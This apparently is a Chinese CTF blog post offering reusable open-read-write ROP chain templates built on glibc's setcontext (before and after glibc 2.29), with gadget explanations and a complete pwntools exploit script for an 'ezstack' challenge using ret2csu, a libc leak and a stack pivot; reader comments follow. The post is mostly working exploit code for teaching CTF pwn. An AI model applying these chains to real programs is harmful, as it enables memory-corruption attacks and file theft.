万能orw

先上模版(2.29以前)

payload = p64(pop_rax) + p64(2)  # open
payload += p64(syscall) + p64(pop_rdx_rsi)
payload += p64(300) + p64(flagaddr)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rax) + p64(0)  # read
payload += p64(syscall) + p64(pop_r13_r14_r15)
payload += p64(0) + p64(flagaddr)
payload += p64(4) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax)  # write
payload += p64(1) + p64(syscall)
payload += p64(rsp) + p64(pop_rax)

在更新一个用openat的板子

payload = p64(pop_rax) + p64(257)  # openat
payload += p64(pop_rdx) + p64(4)
payload += p64(syscall) + p64(pop_rdx)
payload += p64(0x100) + p64(pop_rdi)
payload += p64(3) + p64(pop_rax)  # read
payload += p64(0) + p64(syscall)
payload += p64(pop_r14_r15) + p64(2**64-100)
payload += p64(flagaddr) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax)  # write
payload += p64(1) + p64(syscall)
payload += p64(rsp) + p64(pop_rax)

2.29以后

payload = p64(0) + p64(2)
payload += p64(syscall) + p64(pop_r12)
payload += p64(setcontextaddr) + p64(pop_rsi)
payload += p64(flagaddr) + p64(pop_rdi)
payload += p64(3) + p64(pop_rax)
payload += p64(0) + p64(syscall)
payload += p64(pop_r12_r13) + p64(flagaddr)
payload += p64(4) + p64(pop_rax_rdx_rbx)
payload += p64(1) + p64(300)
payload += p64(0) + p64(pop_r12)
payload += p64(rsp) + p64(pop_rax)
payload += p64(1) + p64(pop_rdi)
payload += p64(1) + p64(syscall)

参数讲解(2.29之前,和2.29之后大致相同)

使用前设置rdi指向text的开头

pop系列不必多说,一般而言在泄露出libc后直接用ROPgadget在libc库里寻找,里面啥都有

syscall地址要注意使用的时候加上0x17的偏移

因为搜索到的syscall和真正的syscall汇编指令不同

flag地址一般选取bss段,也可以选择堆块(只要地址已知)

rsp地址要选择rdi+0x8的位置,这很重要,之所以不是rdi指向的位置,是因为在setcontext的源码中,有一句push指令,会导致栈扩大一下

使用方法(2.29以前)

首先在一块可写区域写入上面代码,接着pop rdi使得rdi指向该地址,随后调用setcontext

值得注意的是,一般选用setcontext+53的地址作为返回地址,因为上面的ldmxcsr指令会导致程序无法正常执行下去

在这段payload里,“flag”字符串和flag最终的写入地址是相同的,也就是说,“flag”字符串最终会被flag覆盖

不过使用之前并不需要给flag和text之间留空,因为执行到read的时候,前面的汇编指令已经作废了,被覆盖也没有关系

使用方法(2.29以后)

在调用setcontext之前,要保证rdx指向ROP链起始位置,同时在rsp对应的位置放入数据rdx+8,这点和2.29之前的操作一样,只不过rdi变成了rdx,而rdx通常很难控制,所以经常要用到一段magic gadget来控制

常用magic gadget如下:

可以利用如下命令找到

ROPgadget --binary ./libc.so.6 --only "mov|call"|grep rdx

该命令可以控制rdx的值同时直接调用rdx+0x20位置的函数,故而在上述payload中该位置填放的是setcontext+61,故使用时需要将rdi+8的位置存放payload的起始地址

例题

最后附一道ezstack

程序很简单,只有一个gets,利用思路就是不断地调用csu,泄露libc后打setcontext,完整payload如下

其中seccomp中有一个perror函数,其函数原型

void perror(const char *str);

perror所做的操作是:首先输出str所指向的字符串,接着输出当前全局变量errno代表的错误

perror的工作原理:当一个系统调用或库函数发生错误时,通常会将全局变量errno设置为一个特定的错误码。perror函数读取errno的值,并根据这个值生成相应的错误描述。然后,将错误描述与传入的字符串参数拼接,并输出到标准错误流。(取自CSDN:标准C库函数之perror()、strerror(),以及他们之间各种的优缺点(打印错误信息)-CSDN博客

简单来说,errno就是一个记录错误的变量,每次有新的错误它会被刷新,不过在这个题中不重要,我们只关注他可以输出str所指向的字符串即可,也就是可以把这个函数当puts用,泄露libc

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p=process('./pwn')
elf = ELF('./pwn')
gets_got=elf.got['gets']
perror_addr=elf.symbols['perror']
#利用ret2csu设置参数,先调用perror输出gets地址泄露libc,之后直接onegadget
bssaddr=0x6010A0
retaddr=0x00000000004006d6
mainaddr=0x400962
payload1=(p64(0)*2+p64(0x4009fa)+p64(0)+p64(1)+p64(gets_got)+p64(bssaddr)+p64(0)*2+p64(retaddr)+p64(0x4009e0)#把perror地址写入bss
          +p64(0)+p64(0)+p64(1)+p64(bssaddr)+p64(gets_got)+p64(0)*2+p64(0x4009e0)#泄露libc
          +p64(0)+p64(0)+p64(1)+p64(gets_got)+p64(bssaddr+0x30)+p64(0)*2+p64(0x4009e0)#把setcontext的内容放入
          +p64(0)+p64(0)+p64(1)+p64(gets_got)+p64(bssaddr+0x30)+p64(0)*2+p64(retaddr)+p64(mainaddr))


p.sendline(payload1)
p.send(p64(perror_addr))
p.sendline(b'flag\0')

gets_addr=p.recv(6)
gets_addr=u64(gets_addr.ljust(8,b'\x00'))
print('gets_addr:',hex(gets_addr))
libcbase=gets_addr-0x80060

flagaddr=bssaddr+8
pop_rax=0x000000000001b500+libcbase
pop_rdx_rsi_ret=0x0000000000130539+libcbase
pop_rdi=0x000000000002164f+libcbase
pop_r13_r14_r15=0x000000000002164a+libcbase
syscalladdr=gets_addr+0x9b4c0+0x17
print('pop_rax:',hex(pop_rax))
print('pop_rdx_rsi_ret:',hex(pop_rdx_rsi_ret))
print('pop_rdi_ret:',hex(pop_rdi))
print('pop_r13_r14_r15:',hex(pop_r13_r14_r15))
print('syscalladdr:',hex(syscalladdr))
setcontextaddr=gets_addr-0x2e010

payload=p64(pop_rax)+p64(2)#open
payload+=p64(syscalladdr)+p64(pop_rdx_rsi_ret)
payload+=p64(300)+p64(flagaddr)
payload+=p64(pop_rdi)+p64(3)
payload+=p64(pop_rax)+p64(0)#read
payload+=p64(syscalladdr)+p64(pop_r13_r14_r15)
payload+=p64(0)+p64(flagaddr)
payload+=p64(2)+p64(pop_rdi)
payload+=p64(1)+p64(pop_rax)#write
payload+=p64(1)+p64(syscalladdr)
payload+=p64(bssaddr+0x38)+p64(pop_rax)
p.sendline(payload)
# attach(p)
# pause()
payload2=p64(0)*2+p64(pop_rdi)+p64(bssaddr+0x30)+p64(setcontextaddr+0x35)
p.sendline(payload2)


p.interactive()
展开

评论

  1. yuanweipeifang
    2 年前
    2024-6-30 10:54:50

    pwn好难,学web去了

    • 博主
      yuanweipeifang
      2 年前
      2024-7-15 22:13:40

      好好好

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇